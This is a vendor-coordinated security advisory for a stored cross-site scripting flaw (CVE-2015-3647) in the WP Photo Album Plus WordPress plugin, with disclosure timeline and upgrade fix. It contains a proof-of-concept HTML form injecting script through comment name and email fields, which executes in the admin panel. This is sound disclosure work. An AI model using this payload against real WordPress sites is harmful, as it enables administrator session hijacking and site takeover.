[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Stored XSS in WP Photo Album Plus WordPress Plugin



Advisory ID: HTB23257
Product: WP Photo Album Plus WordPress Plugin
Vendor: J.N. Breetvelt
Vulnerable Version(s): 6.1.2 and probably prior
Tested Version: 6.1.2
Advisory Publication:  April 29, 2015  [without technical details]
Vendor Notification: April 29, 2015 
Vendor Patch: April 29, 2015 
Public Disclosure: May 20, 2015 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2015-3647
Risk Level: Medium 
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered stored XSS vulnerability in WP Photo Album Plus WordPress plugin, which can be exploited to perform Cross-Site Scripting attacks against administrators of vulnerable WordPress installation. An attacker might be able to hijack administrator’s session and obtain full control over the vulnerable website.

The vulnerability exists due to the absence of filtration of user-supplied input passed via the "comname" and "comemail" HTTP POST parameters to "/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" script when posting a comment. 

A remote attacker can post a specially crafted message containing malicious HTML or script code and execute it in administrator’s browser in context of the vulnerable website, when administrator views images or comments in administrative interface. 

A simple exploit below will store JS code in the WP database and display a JS popup window with "ImmuniWeb" word every time the administrator views comments or images:


<form action="http://[host]/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php"; method="post" name="main">
<input type="hidden" name="action"  value='wppa'>
<input type="hidden" name="wppa-action"  value='do-comment'>
<input type="hidden" name="photo-id"  value='2'>
<input type="hidden" name="comment"  value='1'>
<input type="hidden" name="moccur"  value='1'>
<input type="hidden" name="comemail"  value='"><script>alert(/ImmuniWeb/);</script>'>
<input type="hidden" name="comname"  value='"><script>alert(/ImmuniWeb/);</script>'>
<input type="submit" id="btn">
</form>


The code will be automatically executed, when the administrator visits one of the following pages:

http://[host]/wp-admin/admin.php?page=wppa_manage_comments
http://[host]/wp-admin/admin.php?page=wppa_moderate_photos

-----------------------------------------------------------------------------------------------

Solution:

Update to WP Photo Album Plus 6.1.3

More Information:
https://wordpress.org/plugins/wp-photo-album-plus/changelog/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23257 - https://www.htbridge.com/advisory/HTB23257 - Stored Cross-Site Scripting (XSS) in WP Photo Album Plus WordPress Plugin.
[2] WP Photo Album Plus WordPress plugin - https://wordpress.org/plugins/wp-photo-album-plus/ - This plugin is designed to easily manage and display your photos, photo albums, slideshows and videos in a single as well as in a network WP site.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.